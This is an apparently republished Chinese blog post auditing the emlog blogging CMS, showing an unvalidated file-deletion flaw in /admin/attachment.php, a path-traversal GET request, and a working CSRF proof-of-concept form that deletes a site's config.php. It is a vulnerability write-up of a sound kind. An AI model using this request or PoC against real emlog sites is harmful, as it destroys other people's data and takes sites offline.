一次简单的代码审计

  • A+
所属分类:代码审计

最近某漏洞平台出了一个活动……挖来挖去都没有办法搞到啥代码执行都漏洞,不服~(每天烦躁的很)


然后想了下emlog这个博客系统,以前也挖过什么漏洞,再去把源码下载下来试一试吧!结果发现这套系统的开发好像跑路了?14年就没有更新源码了。。


算了,当我倒霉。把漏洞发出来,分享下吧!


首先拿到源码后我们需要看一下大致的目录以及它每一个文件都是干什么用的(dz之类的这种cms都有二次开发手册)

一次简单的代码审计

粗略阅读之后……我压根看不懂啊!此时此刻的心情是:

一次简单的代码审计

然后使用了下Seay源代码审计系统这个工具(在win上)


全局搜索了下unlink,这个函数是用来定义文件删除的,算得上是危险函数吧。

一次简单的代码审计

然后把这些文件的跟路径都记着,一个个看!


在第一个/admin/attachment.php文件上就发现了问题

行168-179

//微语图片删除
if ($action == 'del_tw_img') {
$filepath = isset($_GET['filepath']) ? $_GET['filepath'] : ''; if ($filepath && file_exists($filepath)) {
$fpath = str_replace('thum-', '', $filepath); if ($fpath != $filepath) { @unlink($fpath) or false; } @unlink($filepath) or false; } exit; }


写到微语图片删除这个功能,然后看到行174和176,只是说明了删除文件的时候加上跟路径,并没有对路径可控!所以我们来进行测试下


在微语这个功能上传了图片之后按取消

一次简单的代码审计

然后得到数据包是以get形式进行请求的:

/emlog//admin/attachment.php?action=del_tw_img&filepath=../content/uploadfile/201708/0af61503976770.jpg

那么我们把文件改一下

一次简单的代码审计

然后文件duang的一下就不见了!


后面测试发现,其实这个漏洞以作者权限也可以进行删除!


同时该漏洞没有token等验证,直接构造出csrf的poc:

<html>   <body>     <form action="http://a.com//admin/attachment.php">       <input type="hidden" name="action" value="del&#95;tw&#95;img" />       <input type="hidden" name="filepath" value="&#46;&#46;&#47;config&#46;php" />       <input type="submit" value="Submit request" />     </form>   </body></html>

一次简单的代码审计一次简单的代码审计


好了,一上午就这样过完了……不说了。我先下班,下午再聊!


以上小姐姐所述
我司一概不负责


本文始发于微信公众号(逢人斗智斗勇):一次简单的代码审计

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: